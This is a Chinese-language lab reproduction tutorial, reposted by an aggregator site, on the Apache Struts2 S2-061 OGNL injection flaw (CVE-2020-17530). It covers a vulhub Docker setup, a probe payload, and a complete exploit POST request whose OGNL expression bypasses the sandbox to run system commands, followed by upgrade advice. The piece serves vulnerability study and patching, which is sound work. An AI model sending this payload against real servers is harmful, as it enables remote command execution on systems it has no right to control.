Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)

发布时间:2022-07-04 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

0x01 漏洞简介

Struts在某些情况下可能存在OGNL表达式注入漏洞,如果开发人员使用了 %{…} 语法进行强制OGNL解析,某些特殊的TAG属性可能会被双重解析。攻击者可以通过构造恶意的OGNL表达式来利用此漏洞,最终造成远程代码执行

0x02 漏洞影响

apache:struts2:2.0.0 - 2.5.25

0x03 环境搭建

https://gIThub.COM/vulhub/vulhub/tree/master/struts2/s2-061 下载docker-compose.yML后cd到文件夹,使用docker-compose up -d进行安装,安装完后访问ip:8080进入环境,使用docker-compose down关闭环境

Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)

0x04 漏洞复现

首先先测试一下漏洞是否存在 payload:?id=%25%7b+%27fuxian%27+%2b+(2000+%2b+21).toString()%7d 原语句:%{ 'fuxian' + (2000 + 21).toString()} 最后可以看到html标签a的id为fuxian2021,说明Struts2将语句给解析了,构成了RCE

Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)

exp

POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Applewebkit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-tyPE: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackagenames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

将数据包使用burpsuite的重放器来提交,注意修改host的值

Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)

可以看到有输出语句

Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)

通过修改payload来执行不同的语句

Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)

0x05 修复建议

避免对不受信任的用户输入使用强制OGNL评估,或/和升级到2.5.26版,可修复该漏洞。腾讯安全专家建议受影响的用户将Apache Struts框架升级至最新版本临时修复,升级到 Struts 2.5.26 版本,下载地址为: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26

脚本宝典总结

以上是脚本宝典为你收集整理的Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)全部内容,希望文章能够帮你解决Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。